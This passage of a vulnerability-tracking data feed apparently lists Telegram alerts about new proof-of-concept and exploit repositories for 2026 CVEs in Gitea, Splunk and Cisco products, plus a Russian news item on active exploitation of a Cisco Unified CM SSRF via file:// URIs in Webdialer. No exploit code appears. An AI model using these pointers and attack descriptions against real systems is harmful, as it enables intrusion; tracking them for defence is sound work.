"https://t.me/GithubRedTeam/91524", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20896\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a kaleth4\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-02 00:23:50\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:32.403303Z"}, {"uuid": "bd94cd1e-db50-4fed-b76e-b09a2c150c30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/93054", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20127-Exploit-Extension\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a anuththara2007-W\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Ruby\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-12 04:28:40\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:08.522576Z"}, {"uuid": "b41f52f3-0124-4db1-9c1e-bfddf8217510", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://t.me/GithubRedTeam/92405", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-20896-gitea-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a szybnev\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Go\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-07 20:31:29\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-20896 Gitea Docker X-WEBAUTH-USER auth bypass checker\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:18.608029Z"}, {"uuid": "ba3f9705-1398-49bf-b0cc-4886da8a2e0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://t.me/GithubRedTeam/92061", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20896\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a rz1027\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-05 15:52:46\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPublic PoC and detector for CVE-2026-20896 (\"Gitea Docker: One Header, Any User\")\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:20.592240Z"}, {"uuid": "aae2af95-6ce7-48f7-81fd-25ff5aea6516", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2002", "type": "seen", "source": "https://t.me/GithubRedTeam/90102", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-2002-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a typedefabcd1234ntd\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-22 12:52:05\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:37.551329Z"}, {"uuid": "913df366-1746-4913-9f79-ac5e08a052e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://t.me/GithubRedTeam/90548", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE #\u6f0f\u6d1e #\u590d\u73b0 #\u5229\u7528\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Cisco-Unified-Communications-Manager-Server-Side-Forgery-Request-Vulnerability-CVE-2026-20230\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a W5M1n9\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-25 10:02:01\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:35.174923Z"}, {"uuid": "aa4ff309-4c69-4bca-95a4-a384330ea383", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "exploited", "source": "https://t.me/true_secator/8340", "content": "SSRF-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Cisco Unified Communications Manager Server, CVE-2026-20230, \u0442\u0435\u043f\u0435\u0440\u044c \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Cisco Unified Communications Manager (Unified CM) \u0438 Cisco Unified Communications Manager Session Management Edition (Unified CM SME) \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c \u0430\u0442\u0430\u043a\u0438 \u0442\u0438\u043f\u0430 SSRF \u0447\u0435\u0440\u0435\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e.\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f CVE-2026-20230 \u0432\u044b\u0448\u043b\u0438 3 \u0438\u044e\u043d\u044f, \u0430 Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u043b\u0430, \u0447\u0442\u043e \u0435\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0440\u0430\u0432\u0430 root \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435.\n\n\u041e\u043d\u0430 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0434\u043b\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0435, \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0432 \u0431\u0430\u0437\u043e\u0432\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432\u00a0\u00a0root.\n\n\u041e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 SSD Secure, \u043e\u0434\u043d\u0430\u043a\u043e \u043d\u0430 \u0442\u043e\u0442 \u043c\u043e\u043c\u0435\u043d\u0442 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043e \u043d\u0435 \u0431\u044b\u043b\u043e. \u0412 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f, \u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Defused, \u044d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u0412 \u0432\u044b\u0445\u043e\u0434\u043d\u044b\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0437\u0430\u0434\u0435\u0442\u0435\u043a\u0442\u0438\u043b\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e CVE-2026-20230, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0434\u043e \u044d\u0442\u043e\u0433\u043e \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043d\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u043e\u0441\u044c, \u0430 \u0441\u0430\u043c\u0430 \u043e\u043d\u0430 \u0435\u0449\u0435 \u043d\u0435 \u0432\u043d\u0435\u0441\u0435\u043d\u0430 \u0432 \u0441\u043f\u0438\u0441\u043e\u043a CISA KEV.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Defused, \u0430\u0442\u0430\u043a\u0438 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0441 \u043e\u0434\u043d\u043e\u0433\u043e IP \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0435 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0442\u0438\u043f\u0430 file:// \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435.\n\n\u0425\u043e\u0442\u044f \u044d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0432\u0435\u0431-\u043e\u0431\u043e\u043b\u043e\u0447\u0435\u043a \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432 root, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0439 Defused \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f, \u043f\u043e \u0432\u0441\u0435\u0439 \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d \u0434\u043b\u044f \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043f\u0443\u0442\u0435\u043c \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u043d\u0430 \u043d\u0438\u0445 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0441 \u0438\u043c\u0435\u043d\u0435\u043c /tmp/cve-2026-20230-test.txt.\n\n\u041f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0441\u0442\u0430\u043b\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, SSD Secure \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0441 \u043f\u043e\u044f\u0441\u043d\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0430 \u0435\u0451 \u0440\u0430\u0431\u043e\u0442\u044b \u0438 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u0435\u0439 \u0440\u0430\u0431\u043e\u0442\u043e\u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438, \u0447\u0442\u043e \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c URL-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u043c Webdialer, \u0437\u0430\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0432 \u041e\u0421, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f URI \u0442\u0438\u043f\u0430 file://.\n\n\u041a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u044f \u043f\u0443\u0442\u044c \u043a \u0444\u0430\u0439\u043b\u0443 \u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435, \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c\u043e\u0435 \u043d\u0430 \u0434\u0438\u0441\u043a, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0438, \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432 root \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\nSSD Secure \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0438\u043c\u044f \u0445\u043e\u0441\u0442\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0442\u044c \u0430\u0442\u0430\u043a\u0443. \u041e\u0434\u043d\u0430\u043a\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0438, \u043a\u0430\u043a \u044d\u0442\u0443 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0435\u0449\u0435 \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\n\u041d\u044b\u043d\u0435\u0448\u043d\u044f\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f, \u043f\u043e \u0432\u0441\u0435\u0439 \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u0438, \u043d\u043e\u0441\u0438\u0442 \u0440\u0430\u0437\u0432\u0435\u0434\u044b\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440, \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u043c\u043e\u0436\u043d\u043e \u043a\u043e\u043d\u0441\u0442\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c, \u0447\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430, \u0438, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043e\u0436\u0438\u0434\u0430\u0442\u044c, \u0447\u0442\u043e \u0447\u0438\u0441\u043b\u043e \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u043d\u0435\u0435 \u0430\u043a\u0442\u043e\u0440\u043e\u0432 \u0431\u0443\u0434\u0435\u0442 \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u0432\u0430\u0442\u044c\u0441\u044f.", "creation_timestamp": "2026-07-14T00:00:43.977620Z"}, {"uuid": "13394e40-4ade-44bd-9b43-3ef3b82b8c6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://t.me/GithubRedTeam/90747", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20253-Splunk-Enterprise-Pre-Auth-RCE-\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a fevar54\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-26 18:31:06\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:34.747141Z"}, {"uuid": "9bb76ced-3343-4241-9041-f1e90d4b6833", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20251", "type": "seen", "source": "https://t.me/GithubRedTeam/90763", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20251\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a reactivezero\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-26 21:34:17\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-20251 \u2014 Splunk Secure Gateway jsonpickle deserialization RCE (CVSS 8.8) | ReactiveZero Security Research\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:34.781605Z"}, {"uuid": "210b41de-90ea-4f7f-8cf6-02c50c80f649", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://t.me/GithubRedTeam/91106", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20253\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a pssec-io\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-29 07:53:56\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPOC for CVE-2026-20253\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:33.614716Z"}, {"uuid": "19fff49b-33af-4066-8deb-0c21b46bfaf9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20030", "type": "published-proof-of-concept", "source": "Telegram/eI9PIVqPrXKVJJQ_HX0IInd0ckkH_W5DeLSCUd56oaZOC68", "content": "", "creation_timestamp": "2026-08-21T00:00:09.310282Z"}, {"uuid": 